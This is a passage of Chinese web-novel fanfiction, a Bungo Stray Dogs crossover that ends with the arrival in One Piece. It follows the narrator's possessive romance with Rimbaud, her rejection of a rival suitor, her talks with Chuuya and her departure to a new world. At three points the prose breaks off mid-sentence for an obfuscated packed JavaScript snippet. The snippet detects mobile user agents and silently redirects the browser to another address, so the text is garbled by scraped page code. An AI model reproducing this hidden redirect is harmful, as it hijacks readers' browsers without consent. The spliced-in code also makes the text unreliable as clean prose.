兰波轻轻抱住我,似乎是本来想说些什么旁的,但听了我的问话却率先表示:“正常法国人对伴侣也会要求忠诚。” 但超越者不一样。 “异能力者在年幼时大都会因为异能力暴动或异能力觉醒而导致各种意外发生。”富裕些的人家自然不会在意,甚至认为这是好事,可贫穷甚至普通人家,若是碰上居所因为孩子而坍塌损坏这种事,一次两次都承受不住,更何况是多次呢? 不幸的家庭是其一。 其二便是自年少时便见过太多扭曲案例的过往。 “凡是异能力者,大多数都被国家所记录在案。”毕竟异能力者犯案,有时候如果资料不齐全是难以进行拘拿的。 抛去那些由于各种各样原因不曾被记录的异能力者,剩下大多数之中,又有小部分选择为所属国进行效力。 “如同我,便是在少年时被老师挖掘,进而锻炼能力,成为法国的谍报员。”兰波并不在意将这一段过往揭露:“而我的父母,亲人,乃至于过往的恋人,对此都不曾知晓,现在大抵还以为我是在哪里的监狱里坐牢……” 我努力憋住笑意,最后还是兰波无奈道:“虽然没什么好笑的……但在我面前也没有必要忍着呀。” 我这才大笑出声,待到缓过来后,方才询问兰波:“为什么是坐牢?” 兰波平静道:“因为异能力。” 所有的异能力都有一个逐渐苏醒的过程,而攻击力越强的异能力者,在异能力能够被自己察觉乃至初步掌控的瞬间,身旁的事物被破坏的范围越广、破坏的程度越深。 先前也说过,若是富裕又见识深厚的人家,自然不会认为这算什么,甚至还会庆幸自己的孩子未来有可能成为高高在上的超越者,但寻常人家又怎么能承受如此磨难呢? “即便是我的能力更偏向辅助,但亚空间的杀伤力却也不是寻常建筑能够抵挡的。”兰波轻笑道:“年轻时刚刚觉醒能力,我也因此而被许多人以异样目光看待,即便在那之后不久我便被老师带走,对外随意寻了理由,可我依然能清晰记得那段时间所发生之事。” 而后自己抛弃名字又将原本的名字送给魏尔伦,那就是之后的事了,兰波便没有多说,只是与身旁少女轻声说:“我是谍报员,巴蒂斯特与我不同,可我们都一样的见过许多人类的阴暗面。” 我们追求的不再是独一份的日光,而是静谧的月光,它或许沉默寡言,但却能包容一切,可日光却只会让人认为自己可能被刺伤。 我明白了。 “年纪太小就投入工作果然还是不行啊……”我开着玩笑,手上却轻轻拍着兰波的脊背,安抚着兰波:“可这并不是他如此的理由。” 这并不是巴蒂斯特如此选择插入我与兰波之间的理由。 我承认,我的确与兰波坦诚谈过有关于情人的问题,兰波与我一致认为,可以拥有情人,但不可以带到兰波面前。 兰波如何想的,我大抵能猜到些许,可我如何想的,兰波大抵不知道。 我从不会在兰波陪在我身边的情况下选择他人,我也绝对不会在这个世界与其他任何人进行暧昧,他人如何,我操控不了,但我可以拒绝。 至于控制住自己的心……我认为,只要有兰波在,我就不会对他人动心。 兰波虽然对琉璃有信心,但嫉妒与面对情敌之时的冷言冷语也并不是他可以控制的。 面对巴蒂斯特之时,兰波觉得自己似乎被嫉妒所填满,口吐毒液,能用尽世间一切恶毒的语言,可在面对琉璃之时,兰波却只会心生怜爱。 兰波想:我并不能将他人之举迁怒到我那惹人怜爱的爱人身上,可我也的确不可否认我心中的妒意,那要如何呢? 静静注视着身上的少女,兰波轻轻挡住自己可能会暴露内心的双眼,嘴上应道:“是啊,这并不是他如此做的理由。” 这也并不是我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15093769|163346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心生妒意的理由。 我并非因他人追求你、渴求你而心生妒意,只是他人之举将我本就隐藏于内心之中的妒意引了出来罢了,我不能为自己的思想、为自己的举动而寻求理由与借口,我或许要坦然的承认,我的确如此卑劣。 当年如此,如今亦然。 正当兰波自耗之时,却突然察觉琉璃似乎已经许久不曾开口说话了。 兰波移开手,试图解释些什么,一睁眼却瞧见身形纤细的少女笑吟吟看着自己,眼中满是怜惜之意。 为什么怜惜自己? 兰波不明白。 兰波不明白呀。 我开口叫着兰波的名字,“兰波,眼睛里的妒意要冒出来了哦。” “要变成恶鬼了呢。”我跨坐在兰波身上,轻轻摸着兰波柔软顺滑的长发,手放在兰波的心口处,好奇道:“兰波为什么觉得,自己的妒意需要隐瞒?” 我曾经恨过兰波。 他为什么不能与我在一起,与我更早的在一起,让那些他曾经与旁人创造的记忆换做与我来创造,让那些他与旁人的羁绊都换成是与我的羁绊,让那些他所有的爱恨情仇都死死的系在我一个人的身上…… 他为什么不能与我再早一些相遇? 我恨他,可他似乎包容了我的一切。 我隐瞒了他许多事,可这些即便旁人看不出来,与我日夜相处的他又怎么可能看不出来? 我们的初遇源于我的阴谋,我的算计,他应该是知晓的。 不,他肯定是知晓的。 我曾在来到法国后想过,兰波知不知道我们的相遇、相识都是一场算计的来的结果呢?他知不知道最初的我只是抱着一种算计之心接近他的呢?他知不知道我隐瞒了他许多事呢? 最开始我也曾自信认为他绝不可能知晓,可后来,我却不大肯定了。 直到那一日,我偶然从系统那里得知,兰波前往丹麦后,背着魏尔伦跑到横滨将我与他相遇之后的许多影像都删除了之时,我方才恍然。 他知道。 他知晓一切,只是他选择了包容与沉默。 他凭什么这么做? 他凭什么这样,让我恨也恨不真切,爱又爱不彻底? 他凭什么打着我的旗号做着为我好的事最后却又一言不发? 他将我当成小丑?还是舞台上的演员? 他肯定在看我的笑话。 即便我曾经与兰波互相许诺,但我依然不可避免的选择了自耗。 我恨他。 可我又不可避免的爱着他,在他的双眸之中安然酣睡。 我恨他。 但他包容了所有关于我的一切,即便最初我与他的相遇便是一场算计,可他依然包容了我。 我恨他。 他在那日夜里,紧张又坦然将那些合同放在我面前,小心翼翼解释着自己并非刚刚准备,而是本想将那些当作礼物,最后又觉得不够庄重时的模样让人怜爱。 我恨他。 可他……似乎没有什么不好。 我的恨意从来没有隐瞒兰波,但兰波似乎总是在我面前便天然的放下了一切原本属于谍报员兰波的敏锐。 他察觉不到我恨他,他总在看我之时,眼中带笑,总在我突然跳到他面前时,小心护着我,总在我抱怨兰波太好以后情人都比不得他的时候言笑晏晏说那就不要找这种连他都比不得家伙当情人…… 他在看我时,眼中总是带着怜爱之意,即便我已经成为了他人眼中的准超越者,即便我已经不是从前那个还需要兰波保护才敢出门的我,即便他已经不是那个失忆的兰波。 他在看旁人时,总是带着警惕与妒意,他不知道,他在我面前总是隐瞒的不够好,他不知道,我其实自得于兰波对他人的警惕与妒意。 他在看我时,眼中似乎带着一种克制的占有欲,为此,我是自得的,而夜中之时,我总喜欢在兰波身上,盯着兰波的眼睛。 我恨他,但他似乎认为我爱他,我嘴上也总是如此说……或许假话说多了的确变成了真话。 是的,那些肯定是假话,我恨兰波。 所以,也请兰波尽情展现他的妒意、他的占有欲吧。 20.平衡 “我说过了,兰波,你要将一切的感情都放在我身上。”我将手放在兰波的脖子上,望着没有丝毫反抗的兰波,放下那些琐碎思绪。 无论是所谓的爱恨情仇也好,还是你那不敢表露过多的占有欲也好,都只能放在我的身上,你只能注视着我。 兰波却并没有躲闪的想法,而是愣愣地看着自己脖颈上属于另一个人垂落在他身上的发丝,那发丝是凉的,可落在自己脖颈上的手却是热的,独属于少女,独属于妹妹,独属于琉璃的双眸之中只有自己。 只有自己啊…… 兰波落下眼泪,手却将身上少女抱得更紧,他在余下的漫长时间一言不发,可却在夜幕缓缓降临后,轻声说:“是琉璃允许的,所以我做什么,都是可以的,对吧?” 他眼中满是期待与忐忑,可眼底的雀跃却又像是害羞的孩子对我打招呼一般。 我抚摸着兰波的眉眼,兰波的眉毛纤细修长,就像他的身体一样,叫人见了便先对这人重视三分,兰波的眼睛是冷色调;黄绿色……我从前这样认为,那时我与兰波刚刚相识,可如今我却觉着,那并不是什么黄绿色,而是冷调的金,是极冷的金色,叫人在看过去时,并不能感受到与太阳一般的温度,只能下意识冷颤着,而后避躲着兰波的目光。 兰波眉眼间距不多不少,刚刚好让他深陷的眼窝被展露出来,刚刚好能让一片轻柔的花瓣落下。 我应允道:“是的,一切的一切,你都可以去做,这是我的允许。” 我的一生之中,兰波只会短暂存在,就像我的过往一样,可即便如此,我也不希望旁人的举动让兰波失落。 兰波大概是我生命之中的例外,我所奉行的,是及时行乐,但偏偏与兰波在一起时,我恨他,却又能感受到无尽的快乐。 既然如此,我偏爱兰波多一点,也不是什么值得惊讶的事了吧? 我想,世上没人会不喜欢兰波,没人会不爱兰波。 …… 可我说的,不是这种允许…… 我轻呼着痛,埋在我脖颈之间的那个家伙却并没有像过往一般安抚我,而是重重的咬了我一下,我发誓,兰波这次绝对给我留下了一个没有一周消散不下的齿痕。 柔软洁白的床单被蹬出褶皱,随着兰波的动作,落在我身上的不是汗水,而是他笑着落下的眼泪。 我伸手,想去摸摸兰波的眼睛,兰波却紧紧盯着我,就像是……就像是当年我与他初见之时那样,紧紧盯着我,他眼中满是我的倒影。 我的手被兰波的手抓住,紧紧握着,就像是他紧紧禁锢着我一样,兰波在试探我。 他似乎想知道,我会不会反抗,我会不会对他这些行为感到厌恶,我相信,只要我选择挣扎,即便只是轻轻的一下,可兰波也绝对会停下来。 但是……兰波不会伤害我。 所以我将所有的一切,都交给了兰波决定,就像是从前的兰波选择相信我一样。 次日再次上门拜访的巴蒂斯特,在兰波面前再次试图挑衅时,便被兰波无言露出身上小巧牙印的得意模样被挑衅到了。 兰波温和道:“琉璃最近晚上一直都想着如何做出一片温室花房,所以起的有些晚……不过你有什么事应该也没必要劳烦琉璃,对吧?” 兰波见巴蒂斯特冷着脸看着自己的小臂,好似刚刚才发现一般,又将方才被他自己挽上的衬衫袖子放下,歉意道:“真是抱歉,露出这么失礼的模样……不过你我也算是相处许久的同僚兼前后辈了,你应当不会在意这些的……对吧?” 兰波脸上带着浅淡笑意,可无论是一举一动还是一言一语,在巴蒂斯特眼中都是对自己昨日挑衅的回礼。 巴蒂斯特黑着脸将要带给兰波的文件扔下后便转身离开了。 兰波瞥了一眼那桌上的文件,让管家收到书房内等待处理。 心里压根没将巴蒂斯特放在什么需要警惕的名单内。 毕竟巴蒂斯特本身便比兰波经历的更少,思想跟可爱的妹妹比起来虽然成熟些,但若是跟公社内任何一个人比较,都是巴蒂斯特为输家。 就像方才一样,若是换了旁人,大概怎么都不会离开,就算离开,也会留下个礼物,试图细水长流的让琉璃缓和态度,可巴蒂斯特……还是太年轻了。 兰波推开房门,顺手接过向自己砸来的抱枕,含笑走到床边,看着气鼓鼓的爱人,轻轻跪在爱人面前:“抱歉……但我的确不喜巴蒂斯特这般举动,如果让你难过,就尽情鞭打我来发气好了。” 我抱胸冷笑,想起系统在我醒来后默默发给我兰波暗暗得意的模样,便来气:“所以你就装可怜欺骗我?!” 虽然我也有错,但我是绝对不可能将错处放到自己身上的,但惩罚兰波?我舍不得。 见兰波凑近,我轻轻将兰波踹开,见兰波面上带笑,不知为何竟消了气,捧着兰波亲了他一下,而后叹道:“你啊你,总是这样,仗着我不会对你生气,便这样对我撒娇。” 兰波将脸放在我的小腹处,闷笑道:“因为我知道,琉璃会永远包容着我。” 就像无论琉璃做什么,我都不会放下琉璃一样。 我们彼此,才是一体。 旁人无法将你我分离。 * 自那日之后,我见到巴蒂斯特的次数几乎可以跟雨果相比。 而由于种种原因只有在大事发生时才会悄悄出现的雨果,一年到头我也见不到几次,不过我对此倒没有什么失去了一位朋友的难过,相反的,我只觉得如释重负。 中也很是困惑,因为他现在还忘不了擂钵街那些帮助过他的同伴,甚至拜托魏尔伦让横滨大使馆的人询问过那些同伴的意愿,希望去孤儿院而后安心读书的就安排去孤儿院,年纪大些希望能有一门手艺谋生的就花钱送去先学习基础教育再学习手艺,年纪不大不小偏偏还跟中也联系最紧密的那一部分,与中也交谈过后,则选择先学习一门手艺,而后拿着钱离开了横滨选择新生活。 中也不明白,为什么琉璃看上去如此纤弱,却能毫不犹豫选择放弃一位幽默风趣的友人,也想不明白,为什么自己在说琉璃姐纤弱需要保护时,魏尔伦与兰波那难以描述的目光。 “因为巴蒂斯特并不会将我当做友人一般看待我。”我温声与中也说着从自己的角度为什么选择远离巴蒂斯特。 “中也应当知道,兰波曾经失忆,与我短暂的成为家人,最后恢复记忆,你、我、兰波,这才回到了法国。” 中也点点头,来到法国已经一年多,中也也长了个子,瞧着比从前高了些。 “那中也应该也知道,我跟兰波之间的感情与羁绊已经难以分割了,友情亲情爱情,我们都能给予彼此最需要的感情,互为羁绊……而这样的情感状态我们从未隐瞒,起码身边这些人。”我抬手画了个圆:“起码这一部分人,他们是清楚的,中也也是这部分人之一,没错吧?” 中也再次点头,挠挠头道:“但那跟巴蒂斯特先生有什么关系吗?” 我笑了:“这就是最大的关系啊,中也知道,魏尔伦知道,波德莱尔乃至于巴黎公社的大部分人都知道,那你觉得巴蒂斯特知不知道?” 他知道了,那为什么还想插入我与兰波之间? “他喜欢我?可我不喜欢他,我只喜欢兰波,只爱兰波。”我平静道:“他爱我?可我也并不爱他,我与兰波互相许诺,只要兰波还在,我就永远不会选择兰波之外的其他人,无论那人是谁。” 我不爱他,不在意他,更不需要他,既然如此,为什么要留下他?难不成是为了给自己平和的生活添堵? “我是个非常看重承诺的人……”我看着中也,温和道:“而且那是兰波,是我所奉行一切条例之外的例外,没有任何人比得过兰波。” 那知道这些的巴蒂斯特,为什么还要硬凑上来? “巴蒂斯特如何想,与我无关,与兰波也无关,他如果能克制住自己的想法,那我跟兰波都不会有什么过激举动。” 是人,便是世人,而世人,总会有过激的想法、举动,能克 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15096391|163346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 制自己的想法,便是人,选择放纵自己的举动,那就是兽。 “他若能克制,那即便有些想法,也可以自己消化,人总会犯错,这没什么,小错便纠正,大错就弥补,人也总有些过激想法,就像我,从前便想过,人生无趣。”我点到为止,没有将自己那些过激想法说出,轻叹道:“中也认为的友人,是即便有矛盾,却也会在关键时刻选择彼此,帮助彼此,支持彼此的存在,但巴蒂斯特不是。” 他或许真心,或许好奇,或许只是认为我与兰波之间的羁绊让人眼热,可无论是哪一点,无论他是为了什么,都与我无关。 他好与坏,被兰波如何对待,被我拒绝后如何伤心,都与我无关。 我不会可怜他,也不会允许我身边有这样一个人干涉我与兰波的生活,什么追求者退后一步选择成为朋友这种事更是绝对不可能存在。 断就要断的干干净净,看在勉强算是同僚的份上,我可以不说出过于无情的话,但多余的希望绝对不可以存在。 不然为难的是我,受伤的是兰波,那绝不是我想要看到的场景。 中也这才羞愧道:“抱歉啊琉璃姐,我不知道巴蒂斯特……” 我摇摇头,“这并不是你的错,你只是担心我失去一个朋友……可是中也,我说过,朋友在我眼里的定义与他人不同,他人眼中的朋友,在我眼里大概只是一个有了名字的陌生人而已。” 而且我并不需要朋友,当然,这一点就不必跟孩子说了。 带着中也训练了一下午后,魏尔伦前来将中也接走,临走前似乎想说些什么,最后却只是询问我:“你觉得我现在算是一个人吗?” 我头也不抬,问他:“你拥有人类的形态,拥有人类的感情,现在你也拥有了人类才会拥有的思考能力,如果看到一只猫,它碰到了你,你会杀了它还是带走它?” 魏尔伦平静道:“我会转身离开,那只是一只猫而已。” 我再次询问:“如果将猫换成人,一个人不慎摔倒连累了你,你会如何?” 魏尔伦似有所悟:“我会避开。” “那你就是个人了。”我手里拿着长鞭,总觉得没有苗刀或者长剑顺手,但波德莱尔要求我不能局限于某一种武器,我只能慢慢熟练着手中的长鞭。 “人就是这样,有的人热情,旁人有困难就会询问是否需要帮助,如中也,有的人冷淡,旁人受伤了不会上前帮助但也不会落井下石,如你,有的人两边都沾些,但又不够完全,那是绝大多数普通人,人是多面性的,我如何认为不重要,你自己如何认为呢?” 我揉着手腕,见魏尔伦若有所思离开了,方才问兰波:“他最近又发什么疯?” 兰波贴在我身上,轻笑道:“谁知道呢?或许是中也在保罗身边,让保罗拥有了道标吧。” 我想了想过往魏尔伦的模样,而后肯定道:“那很好了,魏尔伦现在都能思考这样的问题,越来越像是正常人了。” 兰波笑了好一会儿,方才止住笑意,在一旁抱胸看着我练鞭子,时不时指导两句。 虽然兰波跟波德莱尔这样的原教徒不一样,但身为波德莱尔的弟子,当年该学的也都是学了的。 我看向兰波,他如今眼中总是带着浅淡笑意,看向我时也并不像从前那般忐忑不安,即便我几度与他暗示自己日后总会离开,不会一直陪伴他,可他却也从不曾有过什么异样举动。 还是系统一语道破真相:【虽然我不想承认,但是以你们两个目前的羁绊,这家伙完全有自信你不会抛下他离开啊……】 说着说着,系统反倒咬牙切齿起来,让我哄了好一会儿。 不过,兰波能如此,对我而言倒的确是一件好事,毕竟无论是出于我个人原因还是外力不可抗拒原因,我都不可能一直陪伴兰波。 我希望看到更好的风景,我希望能够见到更多的风光,我希望……有朝一日我能找到办法,将我眼中的世界让兰波看见。 无论如何……我和兰波都寻找到了彼此之间的平衡点。 21.离开 “横滨?”听到这个已经有三四年没有听到的词,我一时间竟然有些陌生。 中也撇撇嘴:“是啊,听魏尔伦他们说什么横滨在搞三刻构想之类的……还因为港口黑手党首领变动所以差点波及琉璃姐你的房子呢,幸亏有人过去拦住了那些家伙。” 我原本拿着温润瓷杯欣赏的手先将那瓷杯放下,而后方才问中也:“那你是怎么看的?” 中也困惑道:“就……坐着看?” 中也对横滨没什么感情,对过往的同伴也尽力了,知道那些同伴大多过的不错也满意了,所以中也一时间还真想不明白像是姐姐又像是妈妈一样教着自己的琉璃姐是什么意思。 我有些无奈,但又觉得这才是自己看着长大的孩子,示意中也过来仔细跟我说说,“你说横滨的三刻构想,魏尔伦怎么跟你说的?” 中也断断续续描述着魏尔伦的话,十四五岁的男孩已经有了一米七的身高,瞧着纤瘦,但体术却是魏尔伦一手交出来的,放出去单论体术在年轻一辈里绝对是顶尖的。 三刻构想,也不知道是什么人提出来的,将白天黑夜与黄昏分割,白天交给横滨负责管理异能力者的异能特务科,黑夜交给港口黑手党,黄昏则交给武装侦探社,三方互相制衡,同样也在面对外敌之时互相帮助…… 我见中也似乎也反应过来后,方嗤笑道:“三足鼎立啊……中也你也跟我学习过花国的知识,你自己想想,哪个有脑子的会想出这么个方法?” 自祖龙开始,拥有一统天下能力的,哪个希望自己卧榻之侧还有他人酣睡?不过这种事情要是发生在日本这种地方,那倒是不奇怪了。 我对日本出身的、三观正常的人没有恶意,但对那些自认为忍辱负重的家伙没有一点好感。 当然啦,这些想法还是不会跟中也说的,毕竟中也还是孩子呢。 中也干咳两声,而后方才道:“横滨如何跟我们倒是也没有关系啦,就是之前魏尔伦说什么远东没有超越者还不肯老实认输什么的让我很好奇。” 我让人将瓷杯拿下去,听了中也这话方才询问:“魏尔伦他们没跟你说过吗?” 中也挠挠头,跟在我身后走进餐厅:“说倒是说过,就是之前说的我稀里糊涂的,正好前两天魏尔伦提了一嘴,我偶然想起来,这才想问问琉璃姐你的看法。” 我的看法? 我挑挑眉,见中也还没有看透我这个人的本质,便恶意满满道:“中也知道为什么魏尔伦这么说对吧。” 中也点点头:“因为战争失败成为了战败国?” 我摇摇头,“那只是因果之中的果。” “日本没有超越者,却偏偏还想要在战争之中分得一杯羹,中也应该知道各国的超越者都有默契,只要不是国家下达死命令,就不会选择对彼此下死手,可日本却一副自以为是的模样,一边背刺自己原本的老大,一边试图将自己国家的异能力者变成超越者……” 用了什么手段,我并没有细说,但中也却也想起了自己的来历,黑着脸道:“啊,我知道。” 可那跟不肯老实认输有什么关系? 中也不必说,我便能从中也眼中看出中也的意思。 我深吸了一口气,劝说自己,这是你看着长大的孩子,虽然傻了点,但是又乖又听话,为了防止这孩子被别人坑了,该讲的还是要讲清楚。 安慰好自己后,我方才与中也说:“你还记得当年战争结束后的会议吗?因为你年纪太小,所以魏尔伦没将你带到会议之上,所以你应当不知道。” 我将当时日本的言语与中也描述后,中也看上去也很是不能理解日本这是什么情况。 我轻咳一声,小声提醒中也:“这并不是特例哦~” “据说横滨还有军警,其中军警之中的异能者都是需要定期做手术保证异能不会出现崩溃的……异能力者。”我轻笑道:“可是一般的异能力者只有异能力暴动,何来异能力崩溃一说呢?” 这其中隐含了什么,如果中也还听不出来,那他就是个真傻子,我也没必要浪费口舌。 而中也虽然偶尔迟钝了些,但显然也并不是什么傻子。 成功将中也对日本的好感降低后,我方才满意。 毕竟要是我自己看着长大的孩子转头被忽悠为日本做事,我真的会气晕过去。 然后转头把人宰了。 系统幽幽道:【你这家伙到底还想停留多长时间?我们的主线任务已经完成了,支线任务更是早早完成了,再停留下去我真的担心你还想不想离开了。】 【睁开眼看看吧!三年又三年,你都混成超越者了!那个男鬼都升职加薪了!咱们该离开了!】 我面不改色回到房间,【你不要这么激动……都说了肯定会走的,现在只是短暂停留……】 【短暂停留?】系统重复了一遍我的话,而后冷笑道:【三年之前,我们就完成了主线任务跟支线任务,你说想再留下来多陪陪那个男鬼顺带学习些体术之外的知识,充实大脑,好,我可以理解,我支持你留下来,但三年过去了……你再停留,你跟那男鬼都有孩子了!】 我换上睡衣,躺在床上随手拿了本书,边看边敷衍系统:【怀孕是不可能的,虽然我不是什么在意爱人会分散注意力到孩子身上的那种人,但我自认为自己没有做好一个成为母亲的准备,如果没做好准备就贸然怀孕生子的话,最后只会造成一场悲剧……】 【说得对,我支持你……但你能不能不要转移话题?】系统严肃道:【琉璃,我说认真的,一个月之内咱们必须离开了。】 【啊,知道了。】我平静的模样让系统不敢置信,系统怀疑自己出问题了,小心翼翼道:【我没有开玩笑,琉璃,我们真的要前往下一个世界了。】 我困惑道:【对呀,我说我知道了,是不是跟主系统断联之后你身上的零件出了问题啊?还是没听清我的话呢?】 系统迷茫道:【你不是一直赖着不走吗?怎么现在又这么轻松就接受了我们要离开的事实?】 我笑道:【你是不是好久都没有看咱们的积分都能购买什么啦?】 我静静等待系统发现我所说的存在,待听到系统喊着说绝对不可以的时候,慢悠悠道:【我也没说我要买。】 【嘎?】系统的鸭子叫让我不禁笑了出来,而后方才跟系统解释:【我只是想跟你说,我既然已经知道的确可以随时回来,那离开便不是会让我抗拒的词汇了。】 就当旅游、深修、工作出差,怎样都好,总归我不会再抗拒离开,因为我知道我总能回到这里,回到有兰波的地方。 系统不敢相信,试探道:【那我们现在就走?】 我制止系统的动作,先询问系统:【离开之前我需要先跟身边人告别,而且最重要的一点,每个世界的时间流速都是多少呢?如果我离开了这个世界,到达另一个世界,另一个世界我只经历了十年,这个世界却已经过去了百年,我连兰波最后一面都见不到,我会疯的哦。】 系统自信满满:【这个其实也有先例的,我已经将本世界的坐标记录下来了,坐标被记录的世界流速会按照一比十跟您经历的时间进行转动,假设琉璃来到B世界,在B世界经历了一年,那在被记录了坐标的A世界就只是过去了一个月而已哦。】 缺点肯定也有,比如被记录的世界不能超过多少之类的……但现在也不能跟主系统联系上,怎么做不还是系统说了算? 系统默默开后门,打算将以后琉璃去过的世界坐标都记录下来。 我这才放心,算了算时间,打算再留下一个月,也为前往下个世界多做些准备。 系统总算看到离开这个世界,见不到男鬼的希望了,当即便提议:【其实第一个世界都是固定的身份,但等到其他世界系统就能帮助宿主提供不同的身份了,虽然不知道下个世界情况如何,但有钱肯定能解决绝大多数问题吧?】 我将书合上,随手放到一旁的柜子上,闭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15101795|163346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼与系统道:【你看着安排吧,但我不需要什么父母跟亲人……朋友也没必要,也不需要什么特殊身份,只要有点钱就好了。】 系统欢快道:【放心,这方面我是专业的,你安心跟男鬼他们告别吧,我先去为你的身份准备一下。】 想想兰波,我的确有些舍不得,但也并没有像当年那般不知未来所以系统提起便要转移话题的青涩,相反的,如今有了些底气的我即便离开兰波,也没有了过往的忐忑。 只是如何与兰波说,对我而言也是一件需要思考的事。 * 兰波听见琉璃说打算离开一段时间的时候,只觉得那很久没有出现的情绪重新席卷了自己。 我见兰波的脸白了,又笑着解释:“也算是异能力的一个小小的副作用……但是我每个月都会回来看你的哦。” 兰波这才放下一小半的心,又问了许多,心里有了底,方才依依不舍道:“之后还会回来的,对吗?” 我无比肯定道:“会的,我说过了,之后我会将我所看到的风景与兰波分享,如果可以,我也会试着寻找能将兰波带在身边的方法。” 我的一切都想与你分享。 我轻声道:“兰波,我舍不得你,但我希望自己能够成长,我也想看到更多的风景。” 兰波不会阻拦我。 跟系统的担忧不同,我从来都不怀疑兰波会阻拦我,因为兰波爱我,因为我爱兰波。 兰波爱我,所以他不会阻拦我奔向更好的未来。 我爱兰波,所以无论如何我都不会将兰波抛下。 爱像绳索,像蛛丝,爱是羽翼,是羁绊。 最初的我与兰波,总是不安,总是忐忑,可如今的我与兰波却没了当年的心态……爱总能抚平一切。 我与兰波静静地靠着彼此,没再去想什么旁的,而是在仅剩的时间静静陪伴着彼此。 兰波知道,我说的什么异能力的副作用只是借口,但他没有挑明;我也知道,兰波知道我的话是借口,但我同样没有挑明。 “是薛定谔的猫吗?”挑明了你就不会留下来了,对吗? 兰波静静的注视着我,似乎要哭出来一般,但他却并没有从前一样流下眼泪,也不曾红了眼眶,只是静静的看着我,注视着我,就像过往这些年一样,静静的陪伴着我。 我摇摇头又点点头,最后也只是轻声说:“抱歉,我不知道,但我会回来的,就像当年我与兰波初遇,明明你我都在爆炸中心,你我却都没有死去一样。” 我几乎是明示了兰波,兰波听了我的话也明了我隐藏的意思,他轻声询问:“你不会忘了我的,对吧?” 你不会抛下我的,对吧? 原本因为这些年互相陪伴的平静生活而逐渐抚平的心重新忐忑起来。 兰波不知道自己开口是为了什么,为了一个答案?还是为了有一个盼头? 我无比肯定道:“不会的……绝对不会。” 此刻言语是无力的,从前的安抚也都没了作用,我们只能静静陪伴彼此,等待最后离别时刻的到来。 离别,是兰波眼中的,分别,是我眼中的。 在旁人眼中,我甚至只是突然生了去各地旅游的兴趣,甚至还不是什么一走便几年不回家的家伙,而是一个月便要回家跟爱人叙说旅途的恋家之人。 只是兰波不知道,兰波总是这样,但我爱他,所以我接受兰波的一切,我不能将兰波可爱的特点当成所谓的缺点进而厌弃他。 可我也知道,言语安抚不了兰波,只有在之后我能再次出现在兰波面前时,兰波方才能安心。 兰波看着面前只比自己略矮些的爱人,最后也只是轻声道:“好好去看看其他的风景吧,我始终都在这里等你回来。” 我看着旁边被中也拦着想要过来跟我告别的魏尔伦,亲了亲兰波的唇便挥挥手离去,借着自己异能力没有太多人知晓的底气,让系统直接将我传送到新的,陌生的世界。 22.初至 深绿色短发扎着黄色方格头巾的女人看着眼眶含着泪的男孩无奈摇头,酒馆内的喧闹声直到酒馆门开也不曾停歇。 “玛琪诺?路飞?”身穿薄荷绿修身长裙的少女手里提着皮箱,脸上满是困惑。 “哇!是琉璃!”穿着白色短T的路飞直接跑到少女身边,兴奋道:“琉璃回来了!玛琪诺你快看!” 我无奈地跟着路飞走到吧台边,躲过周边正在喝酒的家伙,直到走到玛琪诺面前,方才露出个浅浅的笑。 “不抱抱我吗?”我摊开手,待玛琪诺轻轻打了我一下,方才笑得开怀。 随意将皮箱放在空旷的吧台上后,我方抱着路飞坐在椅子上询问刚刚发生了什么。 一旁戴着草帽的红发男人凑过来,好奇道:“琉璃?” 我微微侧头,见是陌生人,便礼貌伸手:“您好,我是阿蒂尔.兰波.琉璃。” “我是香克斯。”红发男人笑道:“先前从来没听路飞跟玛琪诺小姐提到过你诶。” 路飞撇撇嘴:“因为琉璃回家探亲了啊!而且为什么要特意提到琉璃啊?” 被路飞盯着的香克斯挠挠头,“大概是好奇吧?” 疑问成功被人忽视的我最后看向玛琪诺,玛琪诺无奈的将路飞想要出海当海贼,刚刚正在证明自己有勇气的事情说了出来。 香克斯看着半点都没有害怕意味的路飞,又看向这位进了门便被明里暗里注视着的琉璃小姐。 她会如何做呢?生气?还是放任?抑或是不放在心上? “成为海贼?”我困惑道:“那路飞需要锻炼的应该是体术、谋略,需要学习的应该是如何看海图、驾驶船舰,勇气这种东西就像是钱一样,你有了不用表现,需要的时候自然会显现,没有就算你强装,那也没什么用啊。” 看似纤弱的少女困惑道:“是我跟路飞的年纪成为了交流的代沟吗?怎么才走了一个月就变得奇奇怪怪的?” 一旁叼着烟腰间佩着枪的黑发男人平静道:“因为路飞想要跟我们出海……我的意思是,现在。” “贝克曼!”路飞大叫起来,我单手摁住路飞,接过玛琪诺递来的冰水喝了半杯,而后抱着路飞对玛琪诺轻声道:“箱子里是给你带的礼物哦,哥哥他很感激玛琪诺对我的照顾呢。” 